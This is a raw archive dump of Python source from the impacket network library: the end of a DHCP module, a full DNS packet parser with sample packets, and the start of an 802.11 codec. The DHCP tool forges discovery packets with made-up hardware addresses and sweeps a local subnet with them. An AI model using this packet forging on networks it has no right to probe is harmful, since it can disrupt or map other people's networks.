#def __init__(self, data = None, alignment = 0):
# BootpPacket.__init__(self, data, alignment)
def packOptions(self, options):
# options is an array of tuples: ('name',value)
answer = ''
for name, value in options:
code,format = self.options[name]
val = self.pack(format, value)
answer += '%c%c%s' % (code, len(val), val)
return answer
def getOptionNameAndFormat(self, optionCode):
for k in self.options:
code,format = self.options[k]
if code == optionCode: return k, format
return optionCode, ':'
def unpackOptions(self, options):
# options is a string
# print '%r' % options
answer = []
i = 0
while i < len(options)-1:
name, format = self.getOptionNameAndFormat(ord(options[i]))
# size = self.calcUnpackSize(format, options[i+1:])
size = ord(options[i+1])
# print i, name, format, size
value = self.unpack(format, options[i+2:i+2+size])
answer.append((name, value))
i += 2+size
return answer
def unpackParameterRequestList(self, options):
return [self.getOptionNameAndFormat(ord(opt))[0] for opt in options]
def isAskingForProxyAutodiscovery(self):
for opt in self.fields['options']:
if opt[0] == 'parameter-request-list':
for optCode in opt[1]:
if ord(optCode) == 252:
return True
return False
def getOptionValue(self, name):
for opt in self.fields['options']:
if opt[0] == name:
return opt[1]
return None
class DHCPTool:
def initialize(self):
self.pcap = pcapy.open_live(pcapy.lookupdev(), -1, 1, 1)
self.pcap.setfilter("port 67", 1, 0xffffff00)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.connect(('192.168.1.1',67))
self.decoder = ImpactDecoder.EthDecoder()
def targetRun(self):
for i in range(1,254):
self.sendDISCOVER('12345%c' % i, ip = '192.168.1.%d' % i)
self.processPacketsForOneSecond()
def finalize(self):
self.pcap.close()
Module.finalize(self)
def processPacketsForOneSecond(self):
t = time.time()
while time.time()-t < 1:
p = self.pcap.next()
if p[1][2]:
pp = self.decoder.decode(p[0])
print pp
def sendDHCP(self, type, chaddr, hostname = None, ip = None, xid = None,opts = []):
p = DhcpPacket()
opt = [('message-type',type)] + list(opts)
if xid is None:
xid = randint(0,0xffffffff)
if ip:
ip = structure.unpack('!L',socket.inet_aton(ip))[0]
p['ciaddr'] = ip
opt.append(('requested-ip',ip))
if hostname is not None:
for i in range(0,len(hostname),255):
opt.append(('host-name',hostname[i:i+255]))
p['op'] = p.BOOTREQUEST
p['xid'] = xid
p['chaddr'] = chaddr
p['cookie'] = 0x63825363
p['options'] = opt
self.sock.send(str(p))
def sendDISCOVER(self, chaddr, hostname = None, ip = None,xid = 0x12345678):
print 'DHCPDISCOVER: %s' % ip
self.sendDHCP(DhcpPacket.DHCPDISCOVER, chaddr, hostname, ip, xid)
impacket-0.9.15/impacket/dns.py 0000600 0000765 0000000 00000071063 12734531507 016413 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Andres Blanco
# Gustavo Moreira
#
# RFCs for the DNS Server service
#
# 1034 - Domain Names -- Concepts and Facilities [http://www.faqs.org/rfcs/rfc1034.html]
# 1035 - Domain Names -- Implementation and Specification [http://www.faqs.org/rfcs/rfc1035.html]
# 1123 - Requirements for Internet Hosts -- Application and Support [http://www.faqs.org/rfcs/rfc1123.html]
# 1886 - DNS Extensions to Support IP Version 6 [http://www.faqs.org/rfcs/rfc1886.html]
# 1995 - Incremental Zone Transfer in DNS [http://www.faqs.org/rfcs/rfc1995.html]
# 1996 - A Mechanism for Prompt Notification of Zone Changes (DNS NOTIFY) [http://www.faqs.org/rfcs/rfc1996.html]
# 2136 - Dynamic Updates in the Domain Name System (DNS UPDATE) [http://www.faqs.org/rfcs/rfc2136.html]
# 2181 - Clarifications to the DNS Specification [http://www.faqs.org/rfcs/rfc2181.html]
# 2308 - Negative Caching of DNS Queries (DNS NCACHE) [http://www.faqs.org/rfcs/rfc2308.html]
# 2535 - Domain Name System Security Extensions (DNSSEC) [http://www.faqs.org/rfcs/rfc2535.html]
# 2671 - Extension Mechanisms for DNS (EDNS0) [http://www.faqs.org/rfcs/rfc2671.html]
# 2782 - A DNS RR for specifying the location of services (DNS SRV) [http://www.faqs.org/rfcs/rfc2782.html]
# 2930 - Secret Key Establishment for DNS (TKEY RR) [http://www.faqs.org/rfcs/rfc2930.html]
# 3645 - Generic Security Service Algorithm for Secret Key Transaction Authentication for DNS (GSS-TSIG) [http://www.faqs.org/rfcs/rfc3645.html]
# 3646 - DNS Configuration options for Dynamic Host Configuration Protocol for IPv6 (DHCPv6) [http://www.faqs.org/rfcs/rfc3646.html]
#
import socket
import struct
from ImpactPacket import ProtocolPacket
class DNSFlags():
'Bitmap with the flags of a dns packet.'
# QR - Query/Response - 1 bit
QR_QUERY = int("0000000000000000", 2)
QR_RESPONSE = int("1000000000000000", 2)
# OP - Opcode - 4 bits
OP_STANDARD_QUERY = int("0000000000000000", 2) # Standard query.
OP_INVERSE_QUERY = int("0100000000000000", 2) # Inverse query.
OP_STATUS_QUERY = int("0010000000000000", 2) # Server status request.
OP_NOTIFY = int("0000100000000000", 2) # Notify.
OP_UPDATE = int("0100100000000000", 2) # Update.
# AA - Authority Answer - 1 bit
AA_NOT_AUTH_ANSWER = int("0000000000000000", 2) # Not authoritative.
AA_AUTH_ANSWER = int("0000010000000000", 2) # Is authoritative.
# TC - Truncated - 1 bit
TC_NOT_TRUNCATED = int("0000000000000000", 2) # Not truncated.
TC_TRUNCATED = int("0000001000000000", 2) # Message truncated.
# RD - Recursion Desired - 1 bit
RD_NOT_RECURSIVE_QUERY = int("0000000000000000", 2) # Recursion not desired.
RD_RECURSIVE_QUERY = int("0000000100000000", 2) # Recursion desired.
# RA - Recursion Available - 1 bit
RA_NOT_AVAILABLE = int("0000000000000000", 2) # Recursive query support not available.
RA_AVAILABLE = int("0000000010000000", 2) # Recursive query support available.
# Z - 3 bits
Z = int("0000000000000000", 2)
# AD - Authenticated Data - 1 bit
AUTHENTICATED_DATA = int("0000000000100000", 2)
# CD - Checking Disabled - 1 bit
CHECKING_DISABLED = int("0000000000010000", 2)
# RCODE - 4 bits
RCODE_NO_ERROR = int("0000000000000000", 2) # The request completed successfully.
RCODE_FORMAT_ERROR = int("0000000000001000", 2) # The name server was unable to interpret the query.
RCODE_SERVER_FAILURE = int("0000000000000100", 2) # The name server was unable to process this query due to a problem with the name server.
RCODE_NAME_ERROR = int("0000000000001100", 2) # Meaningful only for responses from an authoritative name server, this code signifies that the domain name referenced in the query does not exist.
RCODE_NOT_IMPLEMENTED = int("0000000000000010", 2) # Not Implemented. The name server does not support the requested kind of query.
RCODE_REFUSED = int("0000000000001010", 2) # The name server refuses to perform the specified operation for policy reasons.
RCODE_YXDOMAIN = int("0000000000000110", 2) # Name Exists when it should not.
RCODE_YXRRSET = int("0000000000001110", 2) # RR Set Exists when it should not.
RCODE_NXRRSET = int("0000000000000001", 2) # RR Set that should exist does not.
RCODE_NOAUTH = int("0000000000001001", 2) # Server Not Authoritative for zone.
RCODE_NOTZONE = int("0000000000000101", 2) # Name not contained in zone.
class DNSType():
A = 1 # IPv4 address.
NS = 2 # Authoritative name server.
MD = 3 # Mail destination. Obsolete use MX instead.
MF = 4 # Mail forwarder. Obsolete use MX instead.
CNAME = 5 # Canonical name for an alias.
SOA = 6 # Marks the start of a zone of authority.
MB = 7 # Mailbox domain name.
MG = 8 # Mail group member.
MR = 9 # Mail rename domain name.
NULL = 10 # Null resource record.
WKS = 11 # Well known service description.
PTR = 12 # Domain name pointer.
HINFO = 13 # Host information.
MINFO = 14 # Mailbox or mail list information.
MX = 15 # Mail exchange.
TXT = 16 # Text strings.
RP = 17 # Responsible Person.
AFSDB = 18 # AFS Data Base location.
X25 = 19 # X.25 PSDN address.
ISDN = 20 # ISDN address.
RT = 21 # Route Through.
NSAP = 22 # NSAP address. NSAP style A record.
NSAP_PTR = 23 # NSAP pointer.
SIG = 24 # Security signature.
KEY = 25 # Security key.
PX = 26 # X.400 mail mapping information.
GPOS = 27 # Geographical Position.
AAAA = 28 # IPv6 Address.
LOC = 29 # Location Information.
NXT = 30 # Next Domain (obsolete).
EID = 31 # Endpoint Identifier.
NB = 32 # NetBIOS general Name Service.
NBSTAT = 33 # NetBIOS NODE STATUS.
ATMA = 34 # ATM Address.
NAPTR = 35 # Naming Authority Pointer.
KX = 36 # Key Exchanger.
CERT = 37
A6 = 38
DNAME = 39
SINK = 40
OPT = 41
APL = 42
DS = 43 # Delegation Signer.
SSHFP = 44 # SSH Key Fingerprint.
IPSECKEY = 45
RRSIG = 46
NSEC = 47 # NextSECure.
DNSKEY = 48
DHCID = 49 # DHCP identifier.
NSEC3 = 50
NSEC3PARAM = 51
HIP = 55 # Host Identity Protocol.
NINFO = 56
RKEY = 57
SPF = 99 # Sender Policy Framework.
UINFO = 100
UID = 101
GID = 102
UNSPEC = 103
TKEY = 249
TSIG = 250 # Transaction Signature.
IXFR = 251 # Incremental transfer.
AXFR = 252 # A request for a transfer of an entire zone.
MAILB = 253 # A request for mailbox-related records (MB, MG or MR).
MAILA = 254 # A request for mail agent RRs. Obsolete.
ALL = 255 # A request for all records.
DNSSEC = 32768 # Trust Authorities.
DNSSEC = 32769 # DNSSEC Lookaside Validation.
@staticmethod
def getTypeName(type):
for item, value in DNSType.__dict__.items():
if value == type:
return item
class DNSClass():
RESERVED = 0
IN = 1 # Internet.
CH = 3 # Chaos.
HS = 4 # Hesiod.
NONE = 254
ANY = 255 # QCLASS only
@staticmethod
def getClassName(type):
for item, value in DNSClass.__dict__.items():
if value == type:
return item
class DNS(ProtocolPacket):
'''The Message Header is present in all messages. Never empty.
Contains various flags and values which control the transaction.'''
__TYPE_LEN = 2 # Unsigned 16 bit value.
__CLASS_LEN = 2 # Unsigned 16 bit value.
__POINTER_LEN = 2 # A pointer is an unsigned 16-bit value.
__TTL_LEN = 4 # Unsigned 32 bit value. The time in seconds that the record may be cached.
__RDLENGTH_LEN = 2 # Unsigned 16-bit value that defines the length in bytes (octets) of the RDATA record.
__TYPE_A_LEN = 4 # Unsigned 32-bit value representing the IP address.
__SERIAL_LEN = 4 # Serial Number Unsigned 32-bit integer.
__REFRESH_LEN = 4 # Refresh interval Unsigned 32-bit integer.
__RETRY_LEN = 4 # Retry Interval Unsigned 32-bit integer.
__EXPIRATION_LEN = 4 # Expiration Limit Unsigned 32-bit integer.
__MINTTL_LEN = 4 # Minimum TTL Unsigned 32-bit integer.
__PREF_LEN = 2 # Preference Unsigned 16-bit integer.
__IS_POINTER = int("11000000", 2)
__OFFSETMASK = int("00111111", 2)
def __init__(self, aBuffer = None):
self.__HEADER_BASE_SIZE = 12
self.__TAIL_SIZE = 0
ProtocolPacket.__init__(self, self.__HEADER_BASE_SIZE, self.__TAIL_SIZE)
if aBuffer:
self.load_packet(aBuffer)
def get_transaction_id(self):
'Get 16 bit message ID.'
return self.header.get_word(0)
def set_transaction_id(self, value):
'Set 16 bit message ID.'
self.header.set_word(0, value)
def get_transaction_id_tcp(self):
'Get 16 bit message ID.'
return self.header.get_word(2)
def set_transaction_id_tcp(self, value):
'Set 16 bit message ID.'
self.header.set_word(2, value)
def get_flags(self):
'Get 16 bit flags.'
return self.header.get_word(2)
def set_flags(self, value):
'Set 16 bit flags.'
self.header.set_word(2, value)
def get_flags_tcp(self):
'Get 16 bit flags.'
return self.header.get_word(4)
def set_flags_tcp(self, value):
'Set 16 bit flags.'
self.header.set_word(4, value)
def get_qdcount(self):
'Get Unsigned 16 bit integer specifying the number of entries in the question section.'
return self.header.get_word(4)
def set_qdcount(self, value):
'Set Unsigned 16 bit integer specifying the number of entries in the question section.'
self.header.set_word(4, value)
def get_qdcount_tcp(self):
'Get Unsigned 16 bit integer specifying the number of entries in the question section.'
return self.header.get_word(6)
def set_qdcount_tcp(self, value):
'Set Unsigned 16 bit integer specifying the number of entries in the question section.'
self.header.set_word(6, value)
def get_ancount(self):
'Get Unsigned 16 bit integer specifying the number of resource records in the answer section'
return self.header.get_word(6)
def set_ancount(self, value):
'Set Unsigned 16 bit integer specifying the number of resource records in the answer section'
self.header.set_word(6, value)
def get_nscount(self):
'Get Unsigned 16 bit integer specifying the number of name server resource records in the authority section.'
return self.header.get_word(8)
def set_nscount(self, value):
'Set Unsigned 16 bit integer specifying the number of name server resource records in the authority section.'
self.header.set_word(8, value)
def get_arcount(self):
'Get Unsigned 16 bit integer specifying the number of resource records in the additional records section.'
return self.header.get_word(10)
def set_arcount(self, value):
'Set Unsigned 16 bit integer specifying the number of resource records in the additional records section.'
self.header.set_word(10, value)
def get_questions(self):
'Get a list of the DNS Question.'
return self.__get_questions()[0]
def __get_questions(self):
aux = []
offset = 0
qdcount = self.get_qdcount()
data = self.get_body_as_string()
for _ in range(qdcount): # number of questions
offset, qname = self.parseCompressedMessage(data, offset)
qtype = data[offset:offset+self.__TYPE_LEN]
offset += self.__TYPE_LEN
qclass = data[offset:offset+self.__CLASS_LEN]
offset += self.__CLASS_LEN
qtype = struct.unpack("!H", qtype)[0]
qclass = struct.unpack("!H", qclass)[0]
aux.append((qname, qtype, qclass))
return (aux, offset)
def get_questions_tcp(self):
'Get a list of the DNS Question.'
return self.__get_questions_tcp()[0]
def __get_questions_tcp(self):
aux = []
offset = 2
qdcount = self.get_qdcount_tcp()
data = self.get_body_as_string()
for _ in range(qdcount): # number of questions
offset, qname = self.parseCompressedMessage(data, offset)
qtype = data[offset:offset+self.__TYPE_LEN]
offset += self.__TYPE_LEN
qclass = data[offset:offset+self.__CLASS_LEN]
offset += self.__CLASS_LEN
qtype = struct.unpack("!H", qtype)[0]
qclass = struct.unpack("!H", qclass)[0]
aux.append((qname, qtype, qclass))
return (aux, offset)
def parseCompressedMessage(self, buf, offset=0):
'Parse compressed message defined on rfc1035 4.1.4.'
if offset >= len(buf):
raise Exception("No more data to parse. Offset is bigger than length of buffer.")
byte = struct.unpack("B", buf[offset])[0]
# if the first two bits are ones (11000000=0xC0), the next bits are the offset
if byte & 0xC0 == 0xC0:
# It's a pointer
pointer = struct.unpack("!H", buf[offset:offset+2])[0] # network unsigned short
pointer = (pointer & 0x3FFF) - self.__HEADER_BASE_SIZE
offset += 2
name = self.parseCompressedMessage(buf, pointer)[1]
return (offset, name)
else:
# It's a label
if byte == 0x00:
offset += 1
return (offset, '')
offset += 1
name = buf[offset:offset+byte]
offset += byte
offset, unamed = self.parseCompressedMessage(buf, offset)
if not unamed:
return (offset, name)
else:
return (offset, name + "." + unamed)
def get_answers(self):
return self.__get_answers()[0]
def get_authoritative(self):
return self.__get_authoritative()[0]
def get_additionals(self):
return self.__get_additionals()[0]
def __get_answers(self):
offset = self.__get_questions()[1] # get the initial offset
ancount = self.get_ancount()
return self.__process_answer_structure(offset, ancount)
def __get_authoritative(self):
'Get a list of the DNS Authoritative.'
offset = self.__get_answers()[1] # get the initial offset
nscount = self.get_nscount()
return self.__process_answer_structure(offset, nscount)
def __get_additionals(self):
'Get a list of the DNS Additional Records.'
offset = self.__get_authoritative()[1] # get the initial offset
arcount = self.get_arcount()
return self.__process_answer_structure(offset, arcount)
def __process_answer_structure(self, offset, num):
aux = []
data = self.get_body_as_string()
for _ in range(num):
offset, qname = self.parseCompressedMessage(data, offset)
qtype = data[offset:offset+self.__TYPE_LEN]
qtype = struct.unpack("!H", qtype)[0]
offset += self.__TYPE_LEN
qclass = data[offset:offset+self.__CLASS_LEN]
qclass = struct.unpack("!H", qclass)[0]
offset += self.__CLASS_LEN
qttl_raw = data[offset:offset+self.__TTL_LEN]
qttl = struct.unpack("!L", qttl_raw)[0]
offset += self.__TTL_LEN
qrdlength = data[offset:offset+self.__RDLENGTH_LEN]
qrdlength = struct.unpack("!H", qrdlength)[0]
offset += self.__RDLENGTH_LEN
qrdata = {}
if qtype == DNSType.A:
# IP Address Unsigned 32-bit value representing the IP address
qrdata["IPAddress"] = socket.inet_ntoa(data[offset:offset+qrdlength])
offset += self.__TYPE_A_LEN
elif qtype == DNSType.SOA:
# Primary NS Variable length. The name of the Primary Master for the domain. May be a label, pointer or any combination.
offset, primaryNs = self.parseCompressedMessage(data, offset)
qrdata["PrimaryNS"] = primaryNs
# Admin MB Variable length. The administrator's mailbox. May be a label, pointer or any combination.
offset, adminMb = self.parseCompressedMessage(data, offset)
qrdata["AdminMB"] = adminMb
# Serial Number Unsigned 32-bit integer.
qrdata["SerialNumber"] = struct.unpack("!L", data[offset:offset+self.__SERIAL_LEN])[0]
offset += self.__SERIAL_LEN
# Refresh interval Unsigned 32-bit integer.
qrdata["RefreshInterval"] = struct.unpack("!L", data[offset:offset+self.__REFRESH_LEN])[0]
offset += self.__REFRESH_LEN
# Retry Interval Unsigned 32-bit integer.
qrdata["RetryInterval"] = struct.unpack("!L", data[offset:offset+self.__RETRY_LEN])[0]
offset += self.__RETRY_LEN
# Expiration Limit Unsigned 32-bit integer.
qrdata["ExpirationLimit"] = struct.unpack("!L", data[offset:offset+self.__EXPIRATION_LEN])[0]
offset += self.__EXPIRATION_LEN
# Minimum TTL Unsigned 32-bit integer.
qrdata["MinimumTTL"] = struct.unpack("!L", data[offset:offset+self.__MINTTL_LEN])[0]
offset += self.__MINTTL_LEN
elif qtype == DNSType.MX:
# Preference Unsigned 16-bit integer.
qrdata["Preference"] = struct.unpack("!H", data[offset:offset+self.__PREF_LEN])[0]
# Mail Exchanger The name host name that provides the service. May be a label, pointer or any combination.
offset, mailExch = self.parseCompressedMessage(data, offset)
qrdata["MailExchanger"] = mailExch
elif qtype == DNSType.PTR or qtype == DNSType.NS or qtype == DNSType.CNAME:
# Name The host name that represents the supplied IP address (in the case of a PTR) or the NS name for the supplied domain (in the case of NS). May be a label, pointer or any combination.
offset, name = self.parseCompressedMessage(data, offset)
qrdata["Name"] = name
elif qtype == DNSType.OPT:
# rfc2671 4.3
#NAME domain name empty (root domain)
#TYPE u_int16_t OPT
#CLASS u_int16_t sender's UDP payload size
#TTL u_int32_t extended RCODE and flags
#RDLEN u_int16_t describes RDATA
#RDATA octet stream {attribute,value} pairs
#udp_payload = qclass
udp_payload_size = qclass
ext_rcode = struct.unpack("B", qttl_raw[0])[0]
version = struct.unpack("B", qttl_raw[1])[0]
flags = struct.unpack("!H", qttl_raw[2:4])[0]
qrdata["RDATA"] = data[offset:offset+qrdlength]
offset += qrdlength
aux.append((qname, qtype, udp_payload_size, ext_rcode, version, flags, qrdata))
continue
else:
# We don't know how to parse it, just skip it
offset += qrdlength
aux.append((qname, qtype, qclass, qttl, qrdata))
return (aux, offset)
def get_header_size(self):
return self.__HEADER_BASE_SIZE
def __str__(self):
res = ""
id = self.get_transaction_id()
flags = self.get_flags()
qdcount = self.get_qdcount()
ancount = self.get_ancount()
nscount = self.get_nscount()
arcount = self.get_arcount()
res += "DNS "
if flags & DNSFlags.QR_RESPONSE:
res += "RESPONSE\n"
else:
res += "QUERY\n"
res += " - Transaction ID -- [0x%04x] %d\n" % (id, id)
res += " - Flags ----------- [0x%04x] %d\n" % (flags, flags)
res += " - QdCount --------- [0x%04x] %d\n" % (qdcount, qdcount)
res += " - AnCount --------- [0x%04x] %d\n" % (ancount, ancount)
res += " - NsCount --------- [0x%04x] %d\n" % (nscount, nscount)
res += " - ArCount --------- [0x%04x] %d\n" % (arcount, arcount)
if qdcount > 0:
res += " - Questions:\n"
questions = self.get_questions()
questions.reverse()
while(questions):
qname, qtype, qclass = questions.pop()
format = (qname, DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass)
res += " * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x]\n" % format
if ancount > 0:
res += " - Answers:\n"
answers = self.get_answers()
answers.reverse()
while(answers):
qname, qtype, qclass, qttl, qrdata = answers.pop()
format = (qname, DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass, qttl, repr(qrdata))
res += " * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x] - TTL: %d seconds - %s\n" % format
if nscount > 0:
res += " - Authoritative:\n"
authoritative = self.get_authoritative()
authoritative.reverse()
while(authoritative):
qname, qtype, qclass, qttl, qrdata = authoritative.pop()
format = (qname, DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass, qttl, repr(qrdata))
res += " * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x] - TTL: %d seconds - %s\n" % format
if arcount > 0:
res += " - Additionals:\n"
additionals = self.get_additionals()
for additional in additionals:
qtype = additional[1]
if qtype == DNSType.OPT:
qname, qtype, udp_payload_size, ext_rcode, version, flags, qrdata = additional
format = (DNSType.getTypeName(qtype), qtype, udp_payload_size, ext_rcode, version, flags, repr(qrdata['RDATA']))
res += " * Name: - Type: %s [0x%04x] - udp payload size: [%d] - extended RCODE: [0x%02x] - EDNS0 version: [0x%02x] - Z Flags: [0x%02x] - RDATA: [%s]\n" % format
else:
qname, qtype, qclass, qttl, qrdata = additional
format = (qname, DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass, qttl, repr(qrdata))
res += " * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x] - TTL: %d seconds - %s\n" % format
return res
def __get_questions_raw(self):
if self.get_qdcount() == 0:
return ''
questions_offset = self.__get_questions()[1]
raw_data = self.get_body_as_string()[:questions_offset]
return raw_data
def __get_answers_raw(self):
if self.get_ancount() == 0:
return ''
questions_offset = self.__get_questions()[1]
answers_offset = self.__get_answers()[1]
raw_data = self.get_body_as_string()[questions_offset: answers_offset]
return raw_data
def __get_authoritative_raw(self):
if self.get_nscount() == 0:
return ''
answers_offset = self.__get_answers()[1]
authoritative_offset = self.__get_authoritative()[1]
raw_data = self.get_body_as_string()[answers_offset:authoritative_offset]
return raw_data
def __get_additionals_raw(self):
if self.get_arcount() == 0:
return ''
authoritative_offset = self.__get_authoritative()[1]
raw_data = self.get_body_as_string()[authoritative_offset:]
return raw_data
def add_answer(self, answer_raw):
'''Add a raw answer'''
questions_raw = self.__get_questions_raw()
answers_raw = self.__get_answers_raw()
authoritative_raw = self.__get_authoritative_raw()
additionals_raw = self.__get_additionals_raw()
answers_raw += answer_raw
body = questions_raw + answers_raw + authoritative_raw + additionals_raw
self.load_body(body) # It breaks children hierarchy
# Increment the answer count
cur_answer_count = self.get_ancount()+1
self.set_ancount(cur_answer_count)
def is_edns0(self):
additionals = self.get_additionals()
for item in additionals:
response_type = item[1]
if response_type == DNSType.OPT:
return True
return False
if __name__ == "__main__":
pkts = [
"\x6a\x8c\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x77\x77\x77" \
"\x05\x74\x61\x72\x74\x61\x03\x63\x6f\x6d\x00\x00\x01\x00\x01",
"\x6a\x8c\x81\x80\x00\x01\x00\x02\x00\x02\x00\x00\x03\x77\x77\x77" \
"\x05\x74\x61\x72\x74\x61\x03\x63\x6f\x6d\x00\x00\x01\x00\x01\xc0" \
"\x0c\x00\x05\x00\x01\x00\x00\x07\x08\x00\x02\xc0\x10\xc0\x10\x00" \
"\x01\x00\x01\x00\x00\x07\x08\x00\x04\x45\x59\x1f\xc7\xc0\x10\x00" \
"\x02\x00\x01\x00\x02\xa3\x00\x00\x0f\x03\x6e\x73\x31\x08\x62\x6c" \
"\x75\x65\x68\x6f\x73\x74\xc0\x16\xc0\x10\x00\x02\x00\x01\x00\x02" \
"\xa3\x00\x00\x06\x03\x6e\x73\x32\xc0\x4d",
"\x82\x75\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x77\x77\x77" \
"\x04\x6a\x68\x6f\x6e\x03\x63\x6f\x6d\x00\x00\x01\x00\x01",
"\x82\x75\x81\x80\x00\x01\x00\x01\x00\x02\x00\x02\x03\x77\x77\x77" \
"\x04\x6a\x68\x6f\x6e\x03\x63\x6f\x6d\x00\x00\x01\x00\x01\xc0\x0c" \
"\x00\x01\x00\x01\x00\x00\x00\x05\x00\x04\xd1\x3b\xc3\x14\xc0\x10" \
"\x00\x02\x00\x01\x00\x00\x06\xf8\x00\x0f\x03\x6e\x73\x31\x08\x74" \
"\x72\x61\x66\x66\x69\x63\x7a\xc0\x15\xc0\x10\x00\x02\x00\x01\x00" \
"\x00\x06\xf8\x00\x06\x03\x6e\x73\x32\xc0\x3e\xc0\x3a\x00\x01\x00" \
"\x01\x00\x00\x00\x0d\x00\x04\xd1\x3b\xc2\xf6\xc0\x55\x00\x01\x00" \
"\x01\x00\x00\x00\x85\x00\x04\xd1\x3b\xc3\xf6",
"\xef\x55\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x04\x6d\x61\x69" \
"\x6c\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00" \
"\x01",
"\xef\x55\x81\x80\x00\x01\x00\x04\x00\x04\x00\x04\x04\x6d\x61\x69" \
"\x6c\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00" \
"\x01\xc0\x0c\x00\x05\x00\x01\x00\x00\x06\x79\x00\x0f\x0a\x67\x6f" \
"\x6f\x67\x6c\x65\x6d\x61\x69\x6c\x01\x6c\xc0\x11\xc0\x2d\x00\x01" \
"\x00\x01\x00\x00\x00\x77\x00\x04\xd1\x55\xc3\x53\xc0\x2d\x00\x01" \
"\x00\x01\x00\x00\x00\x77\x00\x04\xd1\x55\xc3\x12\xc0\x2d\x00\x01" \
"\x00\x01\x00\x00\x00\x77\x00\x04\xd1\x55\xc3\x13\xc0\x11\x00\x02" \
"\x00\x01\x00\x00\x00\x5d\x00\x06\x03\x6e\x73\x33\xc0\x11\xc0\x11" \
"\x00\x02\x00\x01\x00\x00\x00\x5d\x00\x06\x03\x6e\x73\x34\xc0\x11" \
"\xc0\x11\x00\x02\x00\x01\x00\x00\x00\x5d\x00\x06\x03\x6e\x73\x31" \
"\xc0\x11\xc0\x11\x00\x02\x00\x01\x00\x00\x00\x5d\x00\x06\x03\x6e" \
"\x73\x32\xc0\x11\xc0\x9c\x00\x01\x00\x01\x00\x00\x04\x4e\x00\x04" \
"\xd8\xef\x20\x0a\xc0\xae\x00\x01\x00\x01\x00\x00\x06\x64\x00\x04" \
"\xd8\xef\x22\x0a\xc0\x78\x00\x01\x00\x01\x00\x00\x00\x05\x00\x04" \
"\xd8\xef\x24\x0a\xc0\x8a\x00\x01\x00\x01\x00\x00\x00\x08\x00\x04" \
"\xd8\xef\x26\x0a"
]
for pkt in pkts:
d = DNS(pkt)
print d
impacket-0.9.15/impacket/dot11.py 0000600 0000765 0000000 00000330114 12734531507 016552 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# IEEE 802.11 Network packet codecs.
#
# Author:
# Gustavo Moreira
import struct
import string
from binascii import crc32
from ImpactPacket import ProtocolPacket
from Dot11Crypto import RC4
frequency = {
2412: 1, 2417: 2, 2422: 3, 2427: 4, 2432: 5, 2437: 6, 2442: 7, 2447: 8, 2452: 9,
2457: 10, 2462: 11, 2467: 12, 2472: 13, 2484: 14, 5170: 34, 5180: 36, 5190: 38, 5200: 40,
5210: 42, 5220: 44, 5230: 46, 5240: 48, 5260: 52, 5280: 56, 5300: 60, 5320: 64, 5500: 100,
5510: 102, 5520: 104, 5530: 106, 5540: 108, 5550: 110, 5560: 112, 5570: 114, 5580: 116, 5590: 118,
5600: 120, 5610: 122, 5620: 124, 5630: 126, 5640: 128, 5650: 130, 5660: 132, 5670: 134, 5680: 136,
5690: 138, 5700: 140, 5745: 149, 5765: 153, 5785: 157, 5805: 161, 5825: 165, 5855: 170, 5860: 172,
5865: 173, 5870: 174, 5875: 175, 5880: 176, 5885: 177, 5890: 178, 5895: 179, 5900: 180, 5905: 181,
5910: 182, 5915: 183, 5920: 184,
}
class Dot11ManagementCapabilities():
#
# Capability Information
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
# +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
# | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
# +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
# | | | | | | | | | | | | | | | |
# | | | | | | | | | | | | | | |---+-- Reserved
# | | | | | | | | | | | | | |
# | | | | | | | | | | | | | |---------- DSSS-OFDM
# | | | | | | | | | | | | |
# | | | | | | | | | | | |---+-------------- Reserved
# | | | | | | | | | | |
# | | | | | | | | | | |---------------------- Short slot time
# | | | | | | | | | |
# | | | | | | | | |---+-------------------------- Reserved
# | | | | | | | |
# | | | | | | | |---------------------------------- Channel agility (802.11b)
# | | | | | | |
# | | | | | | |-------------------------------------- PBCC (802.11b)
# | | | | | |
# | | | | | |------------------------------------------ Short preamble (802.11b)
# | | | | |
# | | | | |---------------------------------------------- Privacy
# | | | |
# | | | |-------------------------------------------------- CF-Poll request
# | | |
# | | |------------------------------------------------------ CF-Pollable
# | |
# | |---------------------------------------------------------- IBSS
# |
# |-------------------------------------------------------------- ESS
#
CAPABILITY_RESERVED_1 = int("1000000000000000", 2)
CAPABILITY_RESERVED_2 = int("0100000000000000", 2)
CAPABILITY_DSSS_OFDM = int("0010000000000000", 2)
CAPABILITY_RESERVED_3 = int("0001000000000000", 2)
CAPABILITY_RESERVED_4 = int("0000100000000000", 2)
CAPABILITY_SHORT_SLOT_TIME = int("0000010000000000", 2)
CAPABILITY_RESERVED_5 = int("0000001000000000", 2)
CAPABILITY_RESERVED_6 = int("0000000100000000", 2)
CAPABILITY_CH_AGILITY = int("0000000010000000", 2)
CAPABILITY_PBCC = int("0000000001000000", 2)
CAPABILITY_SHORT_PREAMBLE = int("0000000000100000", 2)
CAPABILITY_PRIVACY = int("0000000000010000", 2)
CAPABILITY_CF_POLL_REQ = int("0000000000001000", 2)
CAPABILITY_CF_POLLABLE = int("0000000000000100", 2)
